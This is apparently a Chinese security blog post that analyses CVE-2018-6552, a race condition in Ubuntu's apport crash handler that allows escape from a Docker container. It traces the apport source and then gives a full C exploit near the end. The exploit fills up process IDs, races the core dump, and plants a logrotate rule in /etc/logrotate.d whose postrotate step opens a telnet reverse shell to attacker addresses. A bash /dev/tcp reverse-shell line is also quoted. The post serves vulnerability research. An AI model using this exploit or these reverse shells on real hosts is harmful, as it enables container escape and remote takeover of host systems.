Docker CVE-2018-6552 | xxxDocker CVE-2018-6552 – xxx
菜单

Docker CVE-2018-6552

七月 8, 2021 - 安全客

robots

Docker CVE-2018-6552

 

cve-2018-6552

这个漏洞网上还没有分析文章,exp也没有公开,唯一的参考就是长亭在滴滴安全大会的PPT,但是因为没有对应视频,PPT上的信息比较简略,单看PPT其实不太管用,等完成利用之后才发现其实PPT里面有一些细节没发现,不过对于利用细节不清楚的我当时来说PPT细节也看不出来就是了。

 

首先看看漏洞描述

Docker CVE-2018-6552

我们借此可以了解到大概成因,以及影响的版本,看下diff文件

Docker CVE-2018-6552

这是个条件竞争的洞,看diff可以看到差别就是多出了对the is_same_ns() function fails open (returning True) 的处理,也就是说,之前未修复漏洞时,在is_same_as()函数open失败时是不会引发将local pid更换为global pid的操作的,也就是说,我们可以通过特殊方法使其不走以上任何一个分支,继续往下走。

 

源码分析

贴上is_same_as的源码,以及更改前后版本的漏洞处源码

def is_same_ns(pid, ns):  if not os.path.exists('/proc/self/ns/%s' % ns) or   not os.path.exists('/proc/%s/ns/%s' % (pid, ns)):  # If the namespace doesn't exist, then it's obviously shared  return True    try:  if os.readlink('/proc/%s/ns/%s' % (pid, ns)) == os.readlink('/proc/self/ns/%s' % ns):  # Check that the inode for both namespaces is the same  return True  except OSError as e:  if e.errno == errno.ENOENT:  return True  else:  raise    return False

未修复的源码

# Check if we received a valid global PID (kernel >= 3.12). If we do,  # then compare it with the local PID. If they don't match, it's an  # indication that the crash originated from another PID namespace.  # Simply log an entry in the host error log and exit 0.  if len(sys.argv) == 6:  host_pid = int(sys.argv[5])    if not is_same_ns(host_pid, "pid") and not is_same_ns(host_pid, "mnt"):  # If the crash came from a container, don't attempt to handle  # locally as that would just result in wrong system information.    # Instead, attempt to find apport inside the container and  # forward the process information there.  if not os.path.exists('/proc/%d/root/run/apport.socket' % host_pid):  error_log('host pid %s crashed in a container without apport support' %  sys.argv[5])  sys.exit(0)  [ ... ]    sys.exit(0)  elif not is_same_ns(host_pid, "pid") and is_same_ns(host_pid, "mnt"): #这里  # If it doesn't look like the crash originated from within a  # full container, then take the global pid and replace the local  # pid with it, then move on to normal handling.    # This bit is needed because some software like the chrome  # sandbox will use container namespaces as a security measure but are  # still otherwise host processes. When that's the case, we need to keep  # handling those crashes locally using the global pid.  sys.argv[1] = str(host_pid)  elif not is_same_ns(host_pid, "mnt"):  error_log('host pid %s crashed in a separate mount namespace, ignoring' % host_pid)  sys.exit(0)

修复之后的源码

elif not is_same_ns(host_pid, "mnt"):  error_log('host pid %s crashed in a separate mount namespace, ignoring' % host_pid)  sys.exit(0)  else:  # If it doesn't look like the crash originated from within a  # full container or if the is_same_ns() function fails open (returning  # True), then take the global pid and replace the local pid with it,  # then move on to normal handling.    # This bit is needed because some software like the chrome  # sandbox will use container namespaces as a security measure but are  # still otherwise host processes. When that's the case, we need to keep  # handling those crashes locally using the global pid.  sys.argv[1] = str(host_pid)

apport的源码可以在这里下载,是2.20.9的,

根据cve信息的提示,我们追踪源码

Docker CVE-2018-6552

可以看到更改过的pid会进入get_pid_info中,贴上源码

def get_pid_info(pid):  '''Read /proc information about pid'''    global pidstat, real_uid, real_gid, cwd    # unhandled exceptions on missing or invalidly formatted files are okay  # here -- we want to know in the log file  pidstat = os.stat('/proc/%s/stat' % pid)    # determine real UID of the target process; do *not* use the owner of  # /proc/pid/stat, as that will be root for setuid or unreadable programs!  # (this matters when suid_dumpable is enabled)  with open('/proc/%s/status' % pid) as f:  for line in f:  if line.startswith('Uid:'):  real_uid = int(line.split()[1])  elif line.startswith('Gid:'):  real_gid = int(line.split()[1])  break  assert real_uid is not None, 'failed to parse Uid'  assert real_gid is not None, 'failed to parse Gid'    cwd = os.readlink('/proc/' + pid + '/cwd')

声明一些全局变量然后给cwd赋值,os.readlink()是返回软连接路径,往后看可以知道这是用来生成core文件的路径,之后我们直接看生成core的部分

Docker CVE-2018-6552

我选择信号SIGQUIT是因为这里比较靠前,而且基本不涉及什么检测

def write_user_coredump(pid, cwd, limit, from_report=None):  '''Write the core into the current directory if ulimit requests it.'''    # three cases:  # limit == 0: do not write anything  # limit < 0: unlimited, write out everything  # limit nonzero: crashed process' core size ulimit in bytes    if limit == 0:  return    # don't write a core dump for suid/sgid/unreadable or otherwise  # protected executables, in accordance with core(5)  # (suid_dumpable==2 and core_pattern restrictions); when this happens,  # /proc/pid/stat is owned by root (or the user suid'ed to), but we already  # changed to the crashed process' real uid  assert pidstat, 'pidstat not initialized'  if pidstat.st_uid != os.getuid() or pidstat.st_gid != os.getgid():  error_log('disabling core dump for suid/sgid/unreadable executable')  return    core_path = os.path.join(cwd, 'core')  try:  with open('/proc/sys/kernel/core_uses_pid') as f:  if f.read().strip() != '0':  core_path += '.' + str(pid)  core_file = os.open(core_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)  except (OSError, IOError):  return    error_log('writing core dump to %s (limit: %s)' % (core_path, str(limit)))    written = 0    # Priming read  if from_report:  r = apport.Report()  r.load(from_report)  core_size = len(r['CoreDump'])  if limit > 0 and core_size > limit:  error_log('aborting core dump writing, size %i exceeds current limit' % core_size)  os.close(core_file)  os.unlink(core_path)  return  error_log('writing core dump %s of size %i' % (core_path, core_size))  os.write(core_file, r['CoreDump'])  else:  # read from stdin  block = os.read(0, 1048576)    while True:  size = len(block)  if size == 0:  break  written += size  if limit > 0 and written > limit:  error_log('aborting core dump writing, size exceeds current limit %i' % limit)  os.close(core_file)  os.unlink(core_path)  return  if os.write(core_file, block) != size:  error_log('aborting core dump writing, could not write')  os.close(core_file)  os.unlink(core_path)  return  block = os.read(0, 1048576)    os.close(core_file)  return core_path

 

前置知识

apport是ubuntu的一个负责处理程序崩溃信息的程序,用python编写,具体的可以看下维基百科,然后我说一下一些配置文件

/proc/sys/kernel/core_pattern

Docker CVE-2018-6552

在你们的机子上看到的可能和我的不太一样,我的是改过的,这是为了适配当前环境,等配环境时会说,这个文件主要是决定生成的core命名方式如何,以及从内核的coredump.c传过来的参数有哪些。

Docker CVE-2018-6552

如果直接运行会显示需要哪些参数,对应我们前面看到的那些个%,一般情况下coredump.c传来的参数都是正好对应的,但是由于我们需要把原本的物理机上的apport换成这个有漏洞的版本,所以我们需要认为干预一下

/proc/sys/kernel/core_uses_pid

Docker CVE-2018-6552

同样的这个应该也不同,为1代表生成的core文件带.pid,为0就不带,有同样功能的还有core_pattern里的参数,不过这里的优先级更高

/proc/sys/kernel/pid_max

Docker CVE-2018-6552

这个文件里的值代表目前内核支持的最大pid,也就是pid最大就为这个数,那么超过这个数后就会从一个二位数重新记,形成一圈循环,由于低位的pid一般都是系统级别的进程,所以pid从头开始是会绕过那些pid,不会从0或1重记,那样太危险了。同样的这个数据是可以更改的,可以改小一点,这样更容易回卷。

然后就是,logrotate的知识,这个等会用到了再讲,现在配环境。

我用的是ubuntu18.04,打开本地的apport发现和上面讲的漏洞版本差别还是挺大的,所以,我直接把整个apport文件给换了。在我本地这样搞的问题就是程序不运行了。我记不得当时有没有改过core_pattern了,也许读者在复现时可以直接运行。关于py的调试问题我是选择的通过打日志来分析的,通过日志分析发现是入参多了一个。

说到打日志我要说下源码中的日志操作

def init_error_log():  '''Open a suitable error log if sys.stderr is not a tty.'''    if not os.isatty(2):  log = os.environ.get('APPORT_LOG_FILE', '/var/log/apport.log')  try:  f = os.open(log, os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600)  try:  admgid = grp.getgrnam('adm')[2]  os.chown(log, -1, admgid)  os.chmod(log, 0o640)  except KeyError:  pass # if group adm doesn't exist, just leave it as root  except OSError: # on a permission error, don't touch stderr  return  os.dup2(f, 1)  os.dup2(f, 2)  sys.stderr = os.fdopen(2, 'wb')  if sys.version_info.major >= 3:  sys.stderr = io.TextIOWrapper(sys.stderr)  sys.stdout = sys.stderr      def error_log(msg):  '''Output something to the error log.'''    apport.error('apport (pid %s) %s: %s', os.getpid(), time.asctime(), msg)

首先初始化,然后每次要往日志内输入的内容通过error_log(str)输入,由于apport中日志初始化不是在第一行,所以我稍微改了一下,开头初始化,然后再运行就发现报错地方在这里

Docker CVE-2018-6552

所以把sys.argv打出来,以及长度,然后根据我自己情况是长度为7,然后发现是多了一个没用的%E,删去之后就成了之前显示的|/usr/share/apport/apport %p %s %c %d %P

这是我根据入参设置的,也许和你们默认的一样……

所以现在环境就相当于配置完了,如果你有docker的话,见过的最好配环境的洞了,docker的安装我就不说了

 

逃逸第一步

我先说逃逸的思路,前面说了,只要那里的任何一个分支不走就可以以docker里的namespace的pid出现在物理机中,这时候要克服的一个问题就是,在get_pid_info 中会访问对应pid的一些文件,而如果在物理机中没有这个pid的话,那么对应的文件也就不存在,会报错,我们需要让物理机上存在这么一个pid的进程,这样才能生成core,而且这个core还是在物理机中这个pid的进程所在的文件夹。

说起来可能有点绕,我解释一下,cwd = os.readlink('/proc/' + pid + '/cwd')拿这句话来说

Docker CVE-2018-6552

可以看到对应的就是运行程序对应的路径

所以我们docker里的一个进程pid假如是6552,那么其逃逸到物理机上时对应的进程就会是图上的进程,生成core的路径也会是这个进程的路径,那么现在的问题有两个

  1. 怎么使得程序绕过apport中那两个判断,从而两个分支一个都不走呢
  2. 怎么使得docker里的pid出来后正好有个物理机的pid对应上呢

 

解决第一个问题

第一个问题我们可以利用条件竞争,先看源码

Docker CVE-2018-6552

我们如果让第一个返回True,以及下个elif也返回True,就可绕过,返回True的情况有

def is_same_ns(pid, ns):  if not os.path.exists('/proc/self/ns/%s' % ns) or   not os.path.exists('/proc/%s/ns/%s' % (pid, ns)):  # If the namespace doesn't exist, then it's obviously shared  return True #=======================这里    try:  if os.readlink('/proc/%s/ns/%s' % (pid, ns)) == os.readlink('/proc/self/ns/%s' % ns):  # Check that the inode for both namespaces is the same  return True #=====================这里  except OSError as e:  if e.errno == errno.ENOENT:  return True #======================这里  else:  raise    return False

我们要利用的情况是第一种,如何让第一个return返回true呢,我们只要在apport运行到这里之前,把对应的pid kill掉就可以

int pid = fork();  if (pid) {  /* kill the child process, after it stimulate the core dump */  usleep(2000);  kill(pid, SIGKILL);  }  else {  /* must stimulate the raise before kill */  raise(SIGQUIT); //to make core  }

 

解决第二个问题

我们可以通过大量的fork来制造进程,并waite,来占位,占pid。另外这里有一点需要强调,在docker里面每个进程都有一个物理机中对应的pid,也就是说其有两个pid,那么物理机中的那个pid对应的路径其实和docker里的那个路径一样,所以我们可以通过控制docker内进程的路径来控制core的生成路径。

通过以上步骤我们很简单就可以使得一个docker里的崩溃进程生成的core出现在物理机中。

在生成core之前我们还要检查一下配置

Docker CVE-2018-6552

先输入ulimit -c检查对core文件生成的大小的限制,有可能是0,在限制大小为0时不会生成core,我们需要设置 ulimit -c unlimited

在配置完以上后要想生效还要source /etc/security/limits.conf,其实按网上说法,只要改limits.conf中的配置就能永久生效,不用每次开机都改,但是我实操下来还是要每次开机配置一遍

另外在这过程中我发现一个很奇怪的现象,就是有时那个core会生成在docker中,这点让我觉得很莫名其妙。因为抛开docker中崩溃的程序不会生成core不谈,apport是运行在docker之外的,其生成的core的路径也应该是在docker之外的路径才对,虽然路径看起来一样,但是生成在docker中而物理机中没有就很让我费解。就比如docker内和外都有的路径/etc/logrotate.d/,有时apport生成的core指明路径在/etc/logrotate.d/下,但是发现却是在docker内的这一路径下,还好只是有时。

 

逃逸第二步

我们已经可以使得core逃逸出来了,但是单逃逸出来有什么用呢?我们需要让其执行,而且单执行也没用,其中多是一些程序崩溃前的信息,被保存下来,除非我们可以控制往core中输入的内容,否则直接运行也得不到什么。

其实前辈们早就总结出了一系列针对这一状况的应对措施,那就是linux的crontab,专用于执行定时任务,而其中有个ubuntu的默认定时任务logrotate ,讲解这个的利用可以看这里

看到定时任务,就可以想到触发运行是没问题了,但是运行什么呢?

  1. core保存的是程序崩溃前的信息,同样的,字符串也会被保存下来
  2. logrotate在上面的链接里会讲,他有一些规则文件的运行机制是会忽略文件内的非法字符,只运行其中合法字符

所以我们可以在崩溃程序里把想运行的指令写成字符串形式,然后生成的core中首先会有大量乱码,但是字符串变量会保存的比较完好,我们应当声明其为全局变量,这样他会在data段保存的比较完整,而若是声明为局部变量,保存在栈上中间会夹杂一些乱码,干扰运行。

光是上面说的还不够,我们需要看一下对应的logrotate运行的格式,也就是命令怎么写

Docker CVE-2018-6552

相比我不说各位也知道哪里是关键,也就是其中看起来像shell的部分,另外有一点要说明,开头部分的/var/log/cups/*log 是对应文件,也就是这个命令是对这些文件的操作,如果对应文件不存在,命令就不会运行,说到这里logrotate本身的作用其实就是定期清理日志文件,对其进行压缩或别的操作,具体看man logrotate

Docker CVE-2018-6552

所以现在exp怎么写应该很清楚了

 

exp

#include <stdio.h>  #include <signal.h>  #include <stdlib.h>  #include <unistd.h>  #include <sys/wait.h>  /*/var/log/cups/*log {  daily  missingok  rotate7  sharedscripts  postrotate  telnet 172.17.0.2 1234 | /bin/bash | telnet 192.168.56.246 4321  endscript  }*/  char payload[] = "n/var/log/cups/*log {n dailyn missingokn rotate7n sharedscriptsn postrotaten telnet 172.17.0.2 1234 | /bin/bash | telnet 192.168.56.246 4321n endscriptn}n";  void fork_bomb(int num)  {  int i;  for(i = 0; i < num; i++){  int pid = fork();  if (pid)  {  wait(NULL);  }  }  }    int main(int argc, char const *argv[])  {  chdir("/etc/logrotate.d");  int i;  for(i = 0; i < 5; i++){  fork_bomb(200);  int pid = fork();  if (pid) {  /* kill the child process, after it stimulate the core dump */  usleep(2000);  kill(pid, SIGKILL);  }  else {  /* must stimulate the raise before kill */  raise(SIGQUIT); //to make core  }  usleep(1000*100);  puts("wait... maybe the core has already been generated :)");  }  return 0;  }

对于其中的telnet 172.17.0.2 1234 | /bin/bash | telnet 192.168.56.246 4321是反向shell,具体的参数含义看这里

在docker中运行exp可以过段时间自己中断,生成core的时机完全看运气,运气好刚运行一会就在物理机对应目录下生成了,运气坏可能要很久,有些core是空的,这是因为kill的太早,我用的两秒不是最佳时间,各位可以自己多次实验找最好时间。

生成core后因为这玩意定时触发,我们等定时那个时间太久了就,所以我们手动触发一下

logrotate -f [filename]

然后别忘了在自己机器上监听对应端口,因为我用的反向shell命令的原因,所以需要俩终端监听,一个是输命令,一个返回命令运行结果,这点在上面链接有讲。之所以搞那么麻烦是因为刚开始用的

bash -i >& /dev/tcp/攻击主机ip/port 0>&1 会报错,所以就找别的将就一下。

Docker CVE-2018-6552

Docker CVE-2018-6552

Docker CVE-2018-6552

 

参考:

《卢宇—Docker逃逸:从一个进程崩溃讲起》(滴滴安全大会ppt)

几种常见反弹shell汇总 :(https://blog.csdn.net/qiuyeyijian/article/details/102993592)

A technical description of CVE-2020-15702 – Flatt Security Blog (hatenablog.com)

https://wiki.ubuntu.com/Apport

欢迎关注星阑科技微信公众号,了解更多安全干货~

Docker CVE-2018-6552


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51